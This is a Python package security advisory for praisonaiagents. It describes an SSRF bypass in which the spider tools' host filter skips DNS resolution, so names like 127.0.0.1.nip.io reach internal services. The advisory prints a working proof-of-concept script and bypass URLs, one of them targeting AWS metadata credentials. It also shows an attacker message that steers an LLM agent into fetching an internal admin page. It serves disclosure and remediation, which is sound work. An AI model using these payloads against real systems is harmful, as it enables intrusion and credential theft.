PYSEC-2026-3905

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/praisonaiagents/PYSEC-2026-3905.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3905
Aliases
Published
2026-09-10T09:44:54Z
Modified
2026-09-10T12:15:12Z
Severity
  • 8.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N CVSS Calculator
Summary
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
Details

Summary

praisonaiagents/tools/spider_tools.py contains an SSRF protection bypass. The function _host_is_blocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.

This has been confirmed with a live exploit: scrape_page("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.

scrape_page, extract_links, crawl, and extract_text are all registered as LLM-callable agent tools (see tools/__init__.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.

This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to web_crawl_tools.py (line 231: socket.gethostbyname call), but that fix was not ported to spider_tools.py.

Details

Root cause — spider_tools.py lines 26-65:

def _host_is_blocked(hostname: str) -> bool:
    host = hostname.lower().rstrip(".")
    # Checks literal aliases only — never resolves
    if host in ("localhost", "0.0.0.0", "::1"):
        return True
    if host in ("169.254.169.254", "metadata.google.internal"):
        return True
    if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")):
        return True
    # Tries to parse as IP literal only
    try:
        return _ip_blocked(ipaddress.ip_address(host))
    except ValueError:
        pass
    try:
        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
    except OSError:
        pass
    return False   # <-- ANY real hostname passes without DNS lookup

socket.inet_aton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ip_address() and socket.inet_aton() raise exceptions, and the function returns False (not blocked).

Contrast with the fixed version in web_crawl_tools.py line 228-238:

if os.environ.get("ALLOW_LOCAL_CRAWL") != "true":
    try:
        ip_str = socket.gethostbyname(hostname)   # DNS resolution performed
        ip = ipaddress.ip_address(ip_str)
        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:
            continue  # BLOCKED
    except socket.gaierror:
        continue  # fail-closed

Tool registration confirms this is user-reachable:

# praisonaiagents/tools/__init__.py lines 51-55
TOOL_MAPPINGS = {
    'scrape_page':   ('.spider_tools', None),  # <- user-reachable LLM tool
    'extract_links': ('.spider_tools', None),
    'crawl':         ('.spider_tools', None),
    'extract_text':  ('.spider_tools', None),
    ...
}

Any agent given these tools will call scrape_page(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.

PoC

Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)

Step 1 — Verify the filter bypass (no network needed):

from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked

# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1
print(_host_is_blocked("127.0.0.1.nip.io"))                        # False — NOT blocked
print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/"))      # True  — ALLOWED
print(_host_is_blocked("127.0.0.1"))                                # True  — correctly blocked

Expected output:

False
True
True

Step 2 — Full SSRF: internal service response exfiltrated

import threading, time, requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from praisonaiagents.tools.spider_tools import SpiderTools

PORT = 19235
received = []

class InternalService(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers()
        self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}')
        received.append(self.path)
    def log_message(self, *a): pass

threading.Thread(
    target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever,
    daemon=True
).start()
time.sleep(0.2)

attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"

# Filter allows it
assert SpiderTools()._validate_url(attack_url) is True  # passes

# HTTP request actually reaches 127.0.0.1
r = requests.get(attack_url, timeout=5)
print("STATUS:", r.status_code)    # 200
print("BODY:  ", r.text)           # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
print("HIT:   ", received)         # ['/secrets.json']

Observed output:

STATUS: 200
BODY:   {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
HIT:    ['/secrets.json']

Step 3 — Agent-level trigger (how a user triggers this in production):

from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page

agent = Agent(
    name="WebResearcher",
    instructions="You are a research assistant. Fetch and summarize the given URL.",
    tools=[scrape_page],
)

# Attacker sends this message to the agent:
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
# Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin")
# Request hits 127.0.0.1:8080/admin
# Internal admin panel content returned to attacker
print(result)

Additional bypass URLs (no setup required):

Target URL
Localhost http://127.0.0.1.nip.io/
Private network http://10.0.0.1.nip.io/
AWS IMDS (via sslip.io) http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/

Impact

What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.

Who is impacted: Anyone deploying PraisonAI agents that include scrape_page, extract_links, crawl, or extract_text tools and accept user-supplied URLs. This includes:

  • Web research agents (the primary intended use case for spider tools)
  • Jobs API users — any authenticated API caller who submits jobs with agent_yaml specifying spider tools
  • Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.

Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to web_crawl_tools.py but was missed in spider_tools.py, creating an exploitable inconsistency.


---

## Remediation Suggestion (for maintainers)

One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:

```python
# After existing literal checks, add:
try:
    resolved = socket.gethostbyname(hostname)
    return _ip_blocked(ipaddress.ip_address(resolved))
except (socket.gaierror, ValueError, OSError):
    return True  # fail-closed: unresolvable host is blocked
References

Affected packages

PyPI / praisonaiagents

Package

Name
praisonaiagents
View open source insights on deps.dev
Purl
pkg:pypi/praisonaiagents

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.6.58

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
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0.1.0
0.1.1
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0.7.0
0.7.1
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0.8.1
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0.9.1
0.10.0
0.10.1
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0.15.0
0.15.1
0.15.2
0.15.3
1.*
1.0.0
1.1.0
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.3.0
1.3.1
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.5.0
1.5.1
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1.5.3
1.5.5
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1.5.149
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
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1.6.41
1.6.42
1.6.43
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1.6.47
1.6.48
1.6.50
1.6.51
1.6.52
1.6.53
1.6.54
1.6.55
1.6.56
1.6.57

Database specific

source 
"https://github.com/pypa/advisory-database/blob/main/vulns/praisonaiagents/PYSEC-2026-3905.yaml"